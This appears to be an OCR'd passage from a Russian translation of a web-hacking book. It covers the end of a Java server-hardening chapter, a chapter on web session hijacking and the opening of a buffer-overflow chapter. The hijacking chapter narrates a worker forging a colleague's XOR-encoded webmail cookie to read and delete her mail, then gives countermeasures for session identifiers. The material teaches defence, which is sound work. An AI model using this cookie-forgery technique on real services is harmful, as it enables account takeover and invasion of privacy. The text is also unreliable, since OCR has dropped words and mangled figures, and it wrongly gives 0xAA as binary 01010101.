Запрещение прямого вызова сервлетов приложения Во многих случаях для запуска сервлетов Web приложения разработчики предпо читают использовать URL с префиксом /servlet/ или /webapp/. С тонки зрения разра ботчиков, это позволяет значительно упростить жизнь, поскольку при этом не требу ется выполнять регистрацию или какую либо настройку параметров. Однако в кон тексте обеспечения безопасности, если приложения и ядра не отделены друг от друга, то загружаться могут произвольные сервлеты. Таким образом, лучше запре тить запуск сервлетов напрямую везде, где это возможно. Отключение всех неиспользуемых сервлетов и примеров Зачастую серверы приложений Java поставляются с примерами сервлетов и неко торыми другими которые не используются. Для обеспечения безопасно сти все примеры сервлетов лучше физически удалить из файловой системы. Кроме того, необходимо также отключить все неиспользуемые сервлеты ядра. Например, ес ли в приложении не используются серверные включения SSI или страницы JSP, то для предотвращения случайного запуска соответствующие сервлеты можно отключить. И наконец, всегда нужно следить за появлением модулей обновления и сразу же их устанавливать. Резюме Бизнес и промышленность развиваются настолько быстро, что процесс разработки приложений все больше ускоряется. Это заставляет разработчиков использовать новые архитектуры и программные средства, которые позволяют ускорить разработку при ложений электронной коммерции. Ряд программных продуктов, например Tomcat, Resin, и подвержены изъянам, которые описывались выше. Некото рыми из них могут воспользоваться взломщики, которые хорошо знакомы с основами функционирования этих приложений. Для защиты от таких атак следует принять от ветные контрмеры. Web приложения должны разрабатываться так, чтобы клиенты об ладали лишь необходимыми привилегиями. Кроме того, разработчики должны реали тщательную проверку пользовательских данных. В заключение стоит еще раз повторить, что необходимо следить за появлением новых модулей обновления, кото рые должны быть установлены сразу после того, как они были выпущены. Глава 12. Java: удаленное выполнение команд 271
ГЛАВА 13 После того как на земле впервые появился благочестивый и друже любный человек, все люди стали участниками неотвратимой битвы Ватерлоо, где царили надменность, мошенничество и кровь. Чарльз Дол
Введение От нарушения подлинности, т.е. от способности одного человека выдавать себя за другого, ежегодно страдают сотни тысяч людей. Если учесть, что подобные проблемы стали головной болью для Федеральной торговой комиссии, вряд ли кого нибудь удивит, что компьютерное перевоплощение таит в себе не меньшую угрозу. Действительно, принять чужой облик в Internet гораздо проще, чем в реальном мире. Именно поэтому лишь немногие осознают эту опасность и далеко не все из них пытаются ее избежать. По мере развития электронной коммерции защита личности в Internet становится все более важной, поскольку лишь в этом случае можно обеспе чить сохранность конфиденциальных данных. Перехват сеансов: похищение чужого облика и сорванное свидание Алиса встретила Чарльза в чате. Они обнаружили, что живут достаточно близко друг от друга и имеют много общего. Чарльз спросил, когда они смогут встретиться. Алису это приглашение очень взволновало. После обмена несколькими письмами по электронной почте она оказалась в дорогом итальянском ресторане, ожидая Чарльза. Однако он так и не пришел. Разочарованная Алиса вернулась домой и решила больше никогда не разговаривать с Чарльзом. Несмотря на испорченное настроение, она была крайне удивлена, поскольку Чарльз был не похож на типа, который хотел просто подшутить. Так что же произошло? Скоро все станет на свои места, когда выяснится, чем за несколько часов до этого занимался Боб. Он был администратором по обеспечению безопасности в компании, где работала Алиса, и "на днях" решил пригласить ее на встречу. Другой сотрудник компании сообщил Бобу, что Алиса уже приглашена на свидание своим виртуальным другом. Боб решил не терять времени. Так все и началось... 7:00, 5 марта, квартира Алисы Алиса зарегистрировалась на почтовом сервере и ре шила написать письмо Чарльзу о том, что согласна пообедать с ним, а вечером схо дить в кино. Она была взволнована тем, что наконец то увидит Чарльза. Простая поч товая служба на узле eWebMail очень напоминает почтовые службы Hotmail или При регистрации на Web узле eWebMail в HTML форме необходимо указать имя пользователя и пароль, как показано на рис. 13.1. Алиса быстро воспользовалась диалоговым окном Compose, чтобы отправить Чарльзу сообщение с предложением о месте и времени встречи. На рис. 13.2 показано окно броузера Алисы с написанным письмом. Отправив письмо, Алиса начала беспокоиться, что может опоздать на работу. По этому она быстро оделась и вышла из дому. Глава 13. Перевоплощение 273
com 13.1. Окно регистрации на Subject : and Hi love to dinner you and aee a How we at at See Puc. 13.2. Письмо Алисы Чарльзу 274 Часть III. Как они это делают
8:30, офис Алисы Алиса зашла в холл офиса компании и сразу же встретила Николь, которая работа ла секретарем. Николь и Алиса были хорошими подругами. Алиса тут же рассказала о том, что сегодня вечером наконец то увидит Чарльза. Как только Алиса вышла в кон ференц зал, в холле появился Боб. После обмена приветствиями Николь рассказала ему о вечернем свидании Алисы. Боб вернулся к себе и попытался сосредоточиться на работе. Его очень задело, что кто то пригласил Алису на свидание. Потратив целый час на раздумья, Боб решил перехватить электронные сообщения Алисы и посмот реть, что же происходит на самом деле. Боб знал, что для личной переписки Алиса пользуется почтовой службой eWebMail. Он решил, что для получения доступа к ее почтовым сообщениям у себя нужно установить ту же службу. В прошлом месяце Боб участвовал в конференции по вопросам безопасности, где два парня обсуждали проблемы в Web. Он был крайне заинтригован этим разговором. Регистрация на бесплатной почтовой службе eWebMail оказалась простой, и вскоре Боб впервые зарегистрировался на (рис. 13.3), чтобы испытать свой новый почтовый адрес com Рис. 13.3. Регистрация Боба на com/ 10:00, рабочее место Боба Боб внимательно изучил работу почтовой службы Web узла eWebMail. Основу этого приложения составляли Java и страницы JSP. Предлагаемые на узле услуги практически ничем не отличались от того, что предлагалось боль шинством других почтовых служб. Когда Боб зарегистрировался на узле eWebMail, на экране появилось диалоговое окно программы Cookie Pal (рис. 13.4). Глава 13. Перевоплощение 275
13.4. Диалоговое окно программы Cookie Pal Cookie Pal --- это условно бесплатное прило жение, которое можно найти по адресу wvw.kburra.net/. Боб использовал его для наблю дения и управления данными cookie, которые Web узлы передают его броузеру. В данном слу чае ему что узел передал ему слишком длинную строку cookie с именем uid. Значение uid очень напоминало код. Эти данные заинтриговали Боба. Он слышал, что в Web приложениях данные cookie часто используются для передачи иденти фикаторов сеансов. Боб подумал, что, возможно, эти данные cookie также являются некоторой формой идентификаторов сеанса, используемых на узле eWebMail. Дальше Боб создал несколько новых учетных записей с именами ЬоЬ2 и При каждой регистрации он получал похожую строку cookie. После четырех регистра ции в качестве разных пользователей Боб собрал вместе все строки cookie. bob3eewebmail.exa mple.com Когда Боб разместил данные cookie и соответствующие адреса в виде таблицы, ему в голову сразу же пришли две мысли. • Число байтов в форме совпадает с количеством символов в почтовом адресе. • В последних трех адресах все значения cookie отличаются только одним байтом, который является четвертым от начала. Эти байты соответствуют цифрам 1, 2 и 3 почтовых адресов. В данный момент Бобу еще не было понятно, что означает строка : 1 каждого зна чения. Однако сейчас это не имело никакого значения. Боб подумал, что было бы слишком просто, если бы адреса электронной почты напрямую преобразовывались в значения. На самом деле это было совсем не поскольку байты в шестнадцатеричной форме не соответство вали кодам ASCII символов строки адреса. Боб решил, что для шифрования адреса и формирования на его основе строки cookie использовался какой нибудь простой алгоритм. Еще раз посмотрев на закодированные строки, Боб решил, что разработ чики Web узла eWebMail воспользовались слабым алгоритмом шифрования с ис пользованием операции XOR. Он быстро написал сценарий на языке Perl, чтобы вы полнить декодирование строки cookie с использованием каждого из 256 различных байтов и операции XOR и посмотреть, будет ли получен исходный адрес. Боб добился своего при достижении символа ОхАА. Оказалось, что строки cookie создавались пу тем применения к коду каждого символа почтового адреса и значения ОхАА операции XOR. В двоичной форме значение ОхАА можно представить как 01010101. Вооруженный полученными знаниями, Боб уже был готов взломать учетную за пись Алисы. Кроме того, ему стало известно, что на узле eWebMail данные cookie с момента их создания используются в течение одного часа. Другими словами, типич ный сеанс работы с узлом eWebMail может продолжаться один час. Если броузер бу дет оставаться в бездействии в течение часа, то пользователь будет автоматически от ключен от Web приложения eWebMail. Для взлома учетной записи Алисы Боб создал 276 Часть III. Как они это делают
строку cookie, зашифрованную с использованием операции XOR и ее адреса электрон ной почты Вот что получилось: .example.com 616С69636540657765626D61696С2Е6578616D706С652Е636F6D АА. . . XOR применяется к каждому байту) СВС6СЗС9CFЕАCFDDCFС8С7СВСЗС684CFD2СВС7DAС6CF84С9С5С7 рабочее место Боба Боб вышел, чтобы выпить воды. Он заметил, что Алиса была по прежнему занята на совещании, проходящем в конференц зале. Боб загадочно улыбнулся и вернулся на свое рабочее место, плотно закрыв дверь. Он очистил окно броузера и зарегистри ровался на узле eWebMail под именем bob8ewebmail. e xample .com. Были созданы данные cookie, и Боб смог просмотреть свою папку Inbox, как показано на рис. 13.5. Welcome Bob Import/Export Import and Export your personal addressbook to and from eWebmail. Y o u can configure eWebmail to messages from most External Mail accounts to which you have POP Puc. 13.5. Папка Inbox пользователя Для него пришло одно сообщение. После его просмотра стало понятно, что это приветственное сообщение службы eWebMail (рис. 13.6). Боб снова переместился в папку In bo x , а затем закрыл окно броузера Netscape. После этого он открыл свой файл c ookie s.txt и поискал данные, сгенерированные узлом В найденном фрагменте содержалось его зашифрован ное значение uid. ewebmail.example.com FALSE / FALSE 1020114192 uid Боб заменил это значение тем, которое ранее было получено с помощью операции XOR для адреса Символы он оставил без изменений. ewebmail.example.com FALSE / FALSE 1020114192 uid Глава 13. Перевоплощение 277
Рис. 13.6. Список почтовых сообщений Боба После этого он открыл окно броузера Netscape и послал запрос на узел ewebmail.example.com. Вот это да! На экране появилась папка входящих сообщений Алисы (рис. 13.7). Alice Import and Export your to from ewebmail. Y o u can configure ewebmail to from External Mail accounts to which you have POP access. Puc. Боб получил доступ к папке Inbox Алисы 278 Часть Как они это делают
Pop (Total 3J 11 p Г CNET Tut 033.1k Re: Рис. 13.8. Список почтовых сообщений Алисы, просматриваемый Бобом Сегодня Алиса получила три новых сообщения. Боб щелкнул на гиперссылке Inbox, чтобы просмотреть список сообщений Алисы. На рис. 13.8 показано содержи мое окна броузера Боба. Внимание Боба привлекло сообщение с темой Dinner and Movie, которое было отправлено Чарльзом (рис. 13.9). Он открыл это сообщение и прочитал его. great! Instead of I Las Brisas? 1 shall be 7:30. See then! --- > > love to have dinner you and see a > Нои meet at at See later! > Puc. 13.9. Сообщение Алисе от Чарльза Глава Перевоплощение 279
Сообщение от Чарльза пришло в 10:16 и содержалось в папке входящих сообщений Алисы. Она была очень занята и не могла его прочитать. В этом сообщении Чарльз пред лагал пойти в другой ресторан. В приступе ярости и отчаяния Боб удалил ответное письмо Чарльза и вышел из приложения. Бедняжка Алиса так и не получила письмо от Чарльза. 12:30, рабочее место Алисы Совещание оказалось более продолжительным, чем обычно. Алиса вернулась на свое рабочее место и, перед тем как уйти на обед, решила проверить электронную почту. Она зарегистрировалась на узле eWebMail и увидела в папке входящих сообщений два письма (рис. Первое сообщение было от ее друга Тамми из Канады, который прислал несколько фотографий своих детей. Вторым пришло еженедельное письмо с новостями CNET. Такие сообщения использовались Алисой для отслеживания современного состояния информационных технологий. Алиса закрыла окно броузера и спокойно ушла на обед. Рис. Алиса проверяет свой почтовый ящик в итальянском ресторане Прождав Чарльза долгих два часа, расстроенная Алиса ушла из итальянского рес торана. Примерно в это же время Чарльз покинул ресторан Las так и не встре тившись с Алисой. Никто из них не знал, почему встреча не состоялась. Перехват сеансов В контексте обеспечения безопасности перехват сеансов не является новым подхо дом. Чаще всего этот термин используется для описания процесса захвата TCP соединения, который выполняется после подготовительных атак. При 280 Часть III. Как они это делают
реализации такой атаки взломщик получает контроль над уже установленным TCP соединением. В контексте обеспечения безопасности в Web перехват сеансов означает получение контроля над сеансом работы с Web приложением. Протокол HTTP не поддерживает состояния. Клиент запрашивает конкретный ре сурс, который в конечном счете предоставляется сервером. На заре своего развития основная цель World Wide Web заключалась в создании универсальной среды обмена информацией на базе протокола HTTP и представлении данных в формате HTML. Гиперссылки позволяли реализовать в документах перекрестные ссылки. Время шло, и появились серверы, которые могли обрабатывать динамическое содержимое и вы полнять программы, предназначенные для генерации кода HTML. Достаточно быстро возникла потребность в повышении интерактивности. Благодаря тому что броузеры стали успешно обрабатывать и текст и графику, они прочно заняли место универсаль ного клиента. На Web серверах стали развертываться небольшие приложения, основу которых составляли Это позволило существенно расширить возмож ности всех пользователей Internet, которые работали с броузерами. С этого момента используемая операционная система уже не играла никакой роли, а в процессе разра ботки приложений вместо модели с центральным большим компьютером и множест вом терминалов стала использоваться модель "клиент сервер", в рамках которой кли ентами выступали броузеры, а сервером --- Web сервер. Современными серверами Web приложений обслуживаются сложные приложения, предназначенные, например, для комплексной автоматизации деятельности целого предприятия. Программа Microsoft Outlook --- это пример полнофункционального почтового клиента, который можно использовать независимо от Web броузера. Серве ры Lotus Domino предоставляют Web интерфейс, с использованием которого пользо ватели могут выполнять практически те же задачи, что и клиенты Lotus Notes. Во всех многопользовательских приложениях используется концепция пользова тельских сеансов. Каждый пользователь взаимодействует с приложением в рамках от дельного сеанса работы. С помощью сеансов можно отслеживать всех текущих поль зователей приложения. Такая возможность чрезвычайно важна для отделения дейст вий одного пользователя от действий другого. Несмотря на стремительное изменение серверных Web технологий, протокол HTTP остается все тем же. В время его версия остается наиболее широко ис пользуемой. При разработке и использовании Web приложений существует одна про блема --- отсутствие поддержки состояний в протоколе HTTP. В настоящее время не су ществует ни одного стандарта, в котором бы определялся механизм сохранения состоя ний в Web приложениях. Разработчики решают этот вопрос различными способами. Существуют как так и плохие подходы к решению этой проблемы, хотя каж дый из них позволяет получить рабочее приложение. Неудачная реализация механизма поддержки состояний приводит к возможности атак, связанных с перехватом Заключительные замечания об атаке, направленной на перехват сеанса Давайте еще раз проанализируем атаку Боб начал сеанс ра боты с приложением узла eWebMail под своим именем. Он не знал, какой пароль ис пользуется Алисой. Однако Боб смог разобраться и обойти механизм отслеживания состояния сеансов, который использовался на почтовом сервере. В процессе работы с приложением Боб заменил свои регистрационные данные аналогичными данными Алисы и таким образом смог добиться поставленной цели. Недосмотр и недостаточ ное понимание проблем, связанных с плохой реализацией механизма управления се ансами, привели к возможности взлома этой почтовой службы. Глава 13. Перевоплощение 281
Диаграммы состояний приложения Попробуем разобраться с тем, что же произошло, воспользовавшись диаграммой состояний приложения eWebMail (рис. 13.11). Диаграммы состояний относятся к од ному из разделов дискретной математики, который называется теорией конечных ав томатов. Подробное обсуждение этой теории не входит в задачи данной книги. Check E mail Начальное состояние Рис. Диаграмма состояний eWebMail Каждое приложение имеет по крайней мере два состояния: начальное и конечное. При работе с приложением пользователь может "находиться" в одном из его различ ных состояний. На рис. состояния обозначены прямоугольниками с округлен ными краями. Прямоугольники с обычными углами обозначают внутренние процессы приложения. Состояния соединяются линиями перехода, переводящими пользователя из одного состояния в другое. Переход между двумя состояниями может оказаться не возможным, если они не связаны линией перехода. Последнее утверждение является очень важным. В частности, атаки, направленные на перехват сеанса, основаны на изъянах, которые позволяют такой недопустимый переход. Рассмотрим состояние Read E mail (чтение сообщения) приложения eWebMail. Поль зователь может достичь этого состояния только в том случае, если перед этим он нахо дился в состоянии просмотра списка входящих сообщений. Щелкнув на соответствую щей гиперссылке, пользователь сообщает приложению о том, что нужно перейти из со стояния Inbox в состояние Read E mail. Запрос пользователя обрабатывается внутри приложения, которое затем выводит текст почтового сообщения, содержащегося в папке Inbox. В результате пользователь переходит в состояние Read E mail. Находясь в этом со стоянии, он может вернуться в состояние Inbox, перейти в состояние Reply to E mail (ответить на сообщение) или в состояние Delete E mail (удаление сообщения). Точка входа в приложение определяется начальным состоянием. В данном случае таким состоянием является Login переход из которого можно осущест вить лишь после ввода правильной комбинации имени пользователя и пароля. После ввода корректных данных приложение создает логический сеанс работы. Сеанс связы вает пользователя с приложением и позволяет отслеживать состояния пользователя внутри приложения. Сеанс продолжается до достижения конечного состояния или возникновения ошибки. В рассматриваемом случае сеанс работы с приложением за вершается при достижении конечного состояния Logoff (выход из системы). При этом должны быть удалены все значения, которые использовались для отслеживания сеан са. С этого момента пользователь больше уже не может использовать приложение. 282 Часть Как они это делают
Протокол HTTP и отслеживание сеансов Для чтобы увидеть, как реализуется управление сеансами HTTP, рассмотрим пример с Алисой, которая использует почтовую службу eWebMail для отправки сооб щения Чарльзу. На рис. 13.12 в терминах диаграммы состояний и сеансов показано, как Алиса использовала приложение eWebMail. 1HTTP запрос: Алиса регистрируется в Приложение проверяет корректность введенных данных HTTP запрос: Алиса сообщаето необхо димости создания нового сообщения. В приложении создается новое сообщение 1HTTP ответ: в броузере Алисы отображается содержимое ее папки входящих сообщений HTTP запрос: в броузере Алисы снова отображается содержимое ее папки 31 ВХОДЯЩИХ сообщений HTTP ответ: броузеру Алисы передается форма создания почтового ния. Она набирает текст сообщения и указывает адрес HTTP запрос: Алиса отправляет сообщение. Приложение обрабатывает запрос на отправку и запускает почтовую программу Рис. Сеанс работы с приложением eWebMail Алиса начинает с состояния Login. Она вводит свое имя и пароль, после чего при ложение успешно переходит в новое состояние. При этом для Алисы создается иден тификатор uid, который в виде данных cookie передается ее броузеру. С момента соз дания эти данные могут использоваться в течение одного часа. Таким образом, каж дый раз, когда броузер передает запрос на узел в этом запросе передается также и идентификатор uid, который может использоваться до ис течения срока его применения. После ввода Алисой корректных регистрационных данных приложение переходит из состояния Login в состояние Inbox. Теперь прило жение передает ответ на HTTP запрос, полученный им в состоянии Login. В ответе содержится представление списка входящих сообщений, которое отображается в бро узере Алисы после завершения транзакции HTTP. В этот момент между броузером и Web сервером уже нет сетевого соединения, а есть лишь логическая связь. В состоянии просмотра списка входящих сообщений Алиса решила создать новое письмо, щелкнув на ссылке Compose левой панели. В результате броузер послал HTTP запрос вместе с данными cookie по адресу http://ewebmail.examples.com/. После получе ния запроса приложение выполняет декодирование строки cookie с использованием ме ханизма XOR и "узнает", что запрос пришел от Алисы. Именно так и создается Глава 13. Перевоплощение
связь пользователя с HTTP запросом. А как узнать, что Алиса просматривает вхо дящие сообщения? Вот здесь и может пригодиться комбинация добавленная в конец строки cookie. Фрагмент соответствует номеру состояния. В приложении каждому состоянию соответствует свой номер, который передается между броузером и сервером. Значение 1 соответствует состоянию просмотра списка сообщений, 2 --- со стоянию чтения сообщения, 3 --- состоянию создания нового сообщения и т.д. Обнару жив в запросе строку приложение понимает, что Алиса находится в состоянии 1 до тех пор, пока она не решит перейти в состояние 3, т.е. в режим создания нового сооб щения. После этого в приложении состоянием сеанса Алисы станет состояние 3. В пе реданном HTTP ответе содержится форма для создания письма, показанная выше на рис. 13.2, а в строке cookie --- :3. С этого момента броузер снова отсоединяется от Web сервера (с точки зрения сетевых соединений). Как только Алиса завершила создание нового сообщения, она щелкнула на кнопке В результате на узел eWebMail был отправлен еще один HTTP запрос. Полу ченные данные cookie был снова проверены, и сеанс Алисы был переведен из состоя ния создания письма к состоянию его отправки. Это временное состояние, переход из которого осуществляется автоматически. Как только сообщение было доставлено поч товой программе, сеанс Алисы опять был переведен в состояние просмотра входящих сообщений с идентификатором состояния Когда Алиса щелкнула на кнопке Logoff, приложением была отправлена пустая строка cookie, что привело к удалению данных cookie из броузера Алисы. Сеанс работы Алисы с узлом eWebMail был завершен. Приложения с сохранением состояния и без сохранения состояния В предыдущем разделе рассматривался сеанс работы Алисы приложением eWebMail. Вы узнали, как в этом приложении отслеживается состояние сеанса в каж дый момент времени. Однако можно ли говорить, что в этом приложении действи тельно сохраняется состояние? Каждый раз при передаче HTTP запроса пользователь и состояние его сеанса определялись по полученным данным cookie. После этого при ложение обрабатывало запрос и генерировало ответ в формате HTML. На рис. 13.13 представлено поведение приложения при получении HTTP запроса. HTTP запрос Извлечение из данных cookie строки состояния Идентификация пользователя и его текущего состояния Определение требуемого перехода Обработка запроса на переход HTTP ответ Генерация ответа вформате HTML Рис. Диаграмма процессов приложения е 284 Часть III. Как они это делают
Каждый получаемый приложением HTTP запрос обрабатывается аналогичным об разом. Следовательно, это приложение не является приложением с сохранением состоя ния. Этот термин подразумевает, что в приложении сеансы пользователей и состояния отслеживаются независимо друг от друга, т.е. отслеживание сеанса выполняется в сер верной части приложения. В рассматриваемом случае все связанные с отслеживанием пользовательского се анса обязанности возложены на клиентский броузер. Механизм cookie является про стым способом передачи информации броузеру, который будет использовать ее при передаче на сервер запросов. Отслеживание сеансов в клиентской части приложения позволяет существенно упростить его разработку. Однако зачастую раз работчики забывают о золотом правиле обеспечения безопасности Web приложений: любая информация, получаемая Web сервером извне, может модифициро ванной или даже испорченной. Именно это и произошло в рассмотренном примере атаки Боб модифицировал данные cookie, в которых содержа лась информация о состоянии сеанса. А это привело к тому, что приложение предос тавило ему список сообщений, которые предназначались для Алисы. На рис. 13.14 показана схема атаки, реализованная Бобом. 1HTTP запрос: Боб регистрируется в системе. Приложение проверяет корректность введенных данных HTTP запрос: передает запрос на просмотр списка почтовых сообщений, в котором указан идентификатор Приложение извлекает из полученного запроса идентификатор пользователя ОО HTTP ответ: в броузере Боба отображается содержимое его папки входящих сообщений В броузере Боб помещает в свои данные cookie идентификатор Алисы HTTP запрос: HTTP ответ: в броузере Боба перечень входящих сообщений Алисы. просто на полученном идентификаторе пользователя HTTP ответ: приложение удалило сообщение из почтового ящикаАлисы. 3) В броузере Боба снова отображается папка сообщений Алисы Боб успешно в Алису Рис. Взаимодействие Боба с приложением Управление данными cookie в броузере Netscape системы Unix Поговорка "Нужда --- мать всех изобретений" как нельзя лучше описывает ту мысль, которая пришла в голову одному из авторов этой книги при поиске спо соба фильтрации данных cookie в броузере Netscape системы Linux. Для системы Linux не существует программ, эквивалентных Cookie Pal. В результате при вы полнении повседневной работы пользователи редко обращаются к постоянным данным cookie. Некоторые из них хранят в cookie свои личные регистрационные данные, чтобы их не приходилось вводить каждый раз при регистрации на раз Глава 13. Перевоплощение 285
личных узлах Internet. В общем, такое использование данных cookie является да леко не лучшим решением. Предложение авторов по данных cookie в системе Linux заключается в удалении файла cookies.txt из каталога и создании вместо него символьной ссылки cookies.txt, связанной с файлом При использовании броузера Netscape для работы с каким либо Web приложением все данные cookie хранятся в оперативной памяти. Если броузеру передаются идентификационные данные постоянного использования, то они записываются на жесткий диск в файл cookies.txt. При реализации предлагаемого выше подхода эти постоянные данные размещаются в файле /dev/null! При закрытии окна бро узера память освобождается, и все данные cookie удаляются. Таким образом, но вый сеанс работы всегда будет начинаться без использования идентификационных данных. Такой подход оказывается гораздо чем простое отключение режима использования данных cookie с помощью параметров броузера. Иногда такие дан ные требуются для корректной работы приложений. Некоторые броузеры, например Opera, предоставляют прекрасный механизм управления данными cookie. Этот броузер позволяет установить режим, когда все такие данные будут удаляться при выходе из программы. Это аналогично созданию символьной ссылки cookies.txt с файлом /dev/null. Данные cookie и скрытые поля Даже если приложение позволяет отслеживать состояние, все равно в нем должен быть реализован механизм передачи идентификатора сеанса между броузером и сер вером. Такая необходимость возникает из за того, что после передачи каждого ответа TCP соединение разрывается. При получении другого запроса приложение должно каким то образом определить, что передавший его пользователь ранее уже иницииро вал сеанс работы. Передавать информацию между броузером и Web сервером можно двумя способа ми: с использованием данных cookie и скрытых полей. Ниже рассматриваются неко торые достоинства и недостатки каждого подхода. Cookie Процесс обработки данных cookie тесно связан с броузером. Броузер передает со ответствующие данные на Web сервер вместе с HTTP запросом, если они ранее были получены с того же сервера. Такие популярные броузеры, как Netscape, Internet Ex plorer и Opera, обрабатывают данные cookie достаточно хорошо. Недостатком этого подхода является то, что на многих узлах данные cookie исполь зуются для отслеживания поведения пользователя. Зачастую механизм cookie приво дит к нарушению конфиденциальности. К сожалению, в броузерах не реализованы встроенные механизмы, позволяющие избирательно разрешать и запрещать использо вание данных cookie. Для решения этой задачи могут оказаться полезными такие программы, как Cookie Pal. По сравнению с использованием скрытых полей данный подход обладает сущест венным преимуществом. Оно заключается в том, что для передачи на сервер значений скрытых полей на каждой странице должна содержаться HTML форма, а для обмена данными cookie никаких форм использовать не требуется. 286 Часть III. Как они это делают
Скрытые поля Для передачи информации между броузером и Web сервером могут использоваться также скрытые поля HTML форм. Преимущество скрытых полей заключается в том, что их можно использовать даже после полного отключения механизма cookie. Однако оба метода передачи информации связаны с опасностью подмены инфор мации. При работе с Web приложением можно изменить как данные cookie, так и значения скрытых полей. Именно поэтому очень важно продумать и реализовать ме ханизмы отслеживания сеансов и использования идентификаторов сеансов. Реализация механизмов отслеживания сеансов и сохранения состояний Перехват сеанса возможен в тот момент, когда Web приложение оказывается пол ностью зависимым от обработки информации о сеансах и состояниях в клиентской части. В некоторых случаях подмену идентификаторов можно выполнить, даже не смотря на реализацию механизма отслеживания сеансов в серверной части. В рас смотренной выше атаке Боб легко подменил идентификатор сеанса, выполнив обрат ное проектирование. Если для исследования идентификаторов сеансов выполнялось несколько предварительных атак, то последующий перехват сеанса может оказаться гораздо проще. Поэтому реализации адекватных методов отслеживания сеансов и со хранения состояний необходимо уделять самое пристальное внимание. Основываясь на опыте, приобретенном в процессе тестирования защищенности Web приложений, авторы сформулировали ряд правил реализации механизма под держки сеансов и отслеживания состояний. Эти правила ни в коей мере не являются исчерпывающими или применимыми ко всем Web приложениям. Скорее, их нужно рассматривать как рекомендации, которыми следует руководствоваться при разработке механизмов отслеживания сеансов и состояний. Идентификаторы сеансов должны быть уникальными В каждом Web приложении между броузером и Web сервером должен устанавли ваться логический сеанс взаимодействия. Именно для этого между броузером и серве ром должна курсировать строка или последовательность данных, называемая иденти фикатором сеанса. Желательно, чтобы каждый пользовательский сеанс можно было распознать по уникальному идентификатору, который не использовался бы повторно в других сеансах. Даже если один и тот же пользователь регистрируется в системе по вторно, для него должен генерироваться новый идентификатор сеанса. Идентификаторы сеансов должны быть сложными Наиболее простой способ выявления "слабых" идентификаторов заключается в быстром создании множества сеансов или многократном их создании/разрушении в течение короткого периода времени. Идентификаторы сеансов, которые последова тельно увеличиваются, используют временные метки или основаны на каком либо другом шаблоне, должны вызывать большое беспокойство. Такие идентификаторы се Глава 13. Перевоплощение 287
ансов плохо от последовательности предварительных атак, на основе кото рых взломщик сможет перехватить сеанс, успешно сгенерировав идентификаторы се ансов, совпадающие с идентификаторами текущих пользователей приложения. Случайные идентификаторы сеансов можно сгенерировать на основе случайного числа, текущего времени и какого либо специального числа. На основе этих данных можно сгенерировать хэш код, который и будет использоваться в качестве идентифи катора сеанса. Вероятность совпадения хэш кодов довольно низка, так что с их по мощью успех предварительных атак можно свести практически к нулю. Идентификаторы сеансов должны быть независимыми Идентификаторы сеансов не должны основываться на именах пользователей, па ролях или состояниях приложения. В серверной части можно поддерживать справоч ную таблицу, которая будет использоваться для связывания идентификаторов сеансов, регистрационных данных пользователя и состояния приложения. Идентификаторы сеансов должны быть связаны с клиентскими соединениями Во избежание перехвата и повторного использования идентификатора сеанса взломщиком, который находится в той же сети, что и пользователь приложения, на сервере нужно отслеживать IP адрес клиентского узла и время создания сеанса. Иден тификатор сеанса должен быть связан с данными о клиентском соединении. При по лучении каждого клиентского запроса информация о текущем соединении должна сравниваться с данными, хранящимися на сервере. При обнаружении несоответствия сеанс должен быть автоматически завершен. Желательно, чтобы идентификатор сеанса после его создания на сервере переда вался в клиентский броузер только один раз и через безопасное соединение SSL. Та кой подход позволит предотвратить атаки, направленные перехват сеанса. Резюме Перехват сеанса Web приложения осуществить гораздо сложнее, чем большинство других атак. Однако при этом можно достичь разрушительного эффекта. Вне всякого сомнения, возможность реализации подобных атак обусловлена наличием ошибок, допущенных в процессе разработки приложений. Эти изъяны появляются как резуль тат неудачного проектирования или реализации механизма отслеживания сеансов. Никакие модули обновления операционной системы, брандмауэры или конфигураци онные параметры Web сервера не смогут предотвратить атаки, направленные на пере хват сеансов. В этой главе была описана одна из таких атак. Кроме того, были приве дены контрмеры, которые позволяют обеспечить для Web приложения необходимый уровень защиты. Каждый разработчик приложений для Web должен уделять большое внимание вопросам проектирования и реализации механизмов отслеживания сеансов и состояний. В состав современных Web серверов входят встроенные механизмы от слеживания сеансов, а также программные интерфейсы, которые можно использовать для доступа к этим механизмам в процессе разработки Web приложений. 288 Часть III. Как они это делают
ГЛАВА 14 Переполнение буфера "на Незначительная ошибка способна привести к отклонению на ты сячу миль. Китайская пословица
Введение В этой главе рассматриваются наиболее коварные из известных атак. Они базиру ются на практически незаметных изъянах, которые с большим трудом поддаются об наружению и исправлению. Эти изъяны существуют в коммерческом программном обеспечении, например сервере Internet Information Server компании Microsoft, серве ре баз данных корпорации Oracle и сервере Java Web Server компании Sun. Эти изъя ны подсистемы защиты нельзя найти и устранить самостоятельно. В отличие от Web приложений, ориентированных на конкретного заказчика, коммерческие приложения контролируются одним производителем и обычно на их развитие пользователи не оказывают практически никакого влияния. Изъяны в подсистеме защиты коммерческих приложений гораздо проще обнару живать и использовать, чем ошибки приложений, ориентированных на конкретного заказчика. Причина заключается в том, что взломщики могут без труда получить, де компилировать и сгенерировать ассемблерный код этих программ, чтобы разобраться, что и как они делают. Обладая полученными знаниями, взломщик может быстро и легко найти уязвимые места. Пример Ночью, в 2:24, хакер N3urOn (с настоящим именем Нейрон только что проснувшись и завтракая, услышал характерный звук компьютера. Арахисовое масло, мед и сэндвичи могли бы хорошо подкрепить его на следующие тридцать шесть часов, как, впрочем, и шесть банок холодного пива Red Bulls. Приятель Нейрона по сети IRC, F14r3 (с реальным именем Флэр отчаянно пытался с ним связаться. Комнату наполнил громкий звон, который проникал сквозь стены спальни и даже достиг кухни. Нейрон всегда крепко спит. Поэтому во время отдыха он увеличивает громкость своего компьютера до значения. Хотя Нейрон был не в состоянии быстро шевелить ногами, услышав характерный звук, он сразу же бросился к компьютеру и откликнулся на вызов. тыв ты здесь, да! Здесь, я завтракаю у меня получилось удаленно переполнение на iis6 ты воспользуешься этим? <F14r3> ты знаешь, я не работав с продуктами [Флэр был хакером системы NT и считал своим <F14r3> Ты это сможешь сделать? <n3urOn> конечно, дай [Флэр отправляет файл с подробным описанием проделанной <N3urOn> ядай мне пару То, что сделал Флэр, было анализом подсистемы защиты Web сервера IIS 6.0 систе мы Windows XP. Им был обнаружен один из изъянов. Как ему удалось этого добиться? Насколько трудно воспользоваться полученными сведениями на практике? В этой главе подробно рассматриваются приемы, ежедневно используемые хакерами для взлома программных продуктов, поиска в них условий переполнения буфера и разработки средств взлома, с помощью которых можно воспользоваться обнаруженными изъянами. 290 Часть III. Как они это делают
